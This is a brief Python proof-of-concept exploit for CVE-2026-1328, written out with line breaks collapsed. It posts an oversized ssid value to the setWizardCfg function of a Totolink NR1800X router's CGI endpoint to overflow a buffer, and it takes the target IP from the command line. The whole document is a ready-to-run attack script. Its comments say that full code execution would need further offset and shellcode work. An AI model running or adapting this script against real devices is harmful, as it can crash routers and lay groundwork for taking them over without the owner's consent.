CVE-2026-1328

import requests import sys def exploit_totolink_buffer_overflow(target_ip, target_port=80): """ CVE-2026-1328 PoC - Totolink NR1800X setWizardCfg Buffer Overflow This PoC demonstrates sending an oversized ssid parameter to trigger the buffer overflow in the setWizardCfg function. """ target_url = f"http://{target_ip}:{target_port}/cgi-bin/cstecgi.cgi" # Generate payload with excessive length to trigger overflow # The actual exploitation would require precise offset calculation # and shellcode placement for code execution overflow_length = 1000 payload_ssid = "A" * overflow_length headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } data = { "topicurl": "setWizardCfg", "ssid": payload_ssid } try: print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload size: {overflow_length} bytes") response = requests.post(target_url, data=data, headers=headers, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[*] Target may be vulnerable if service becomes unresponsive") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_totolink_buffer_overflow(target, port)

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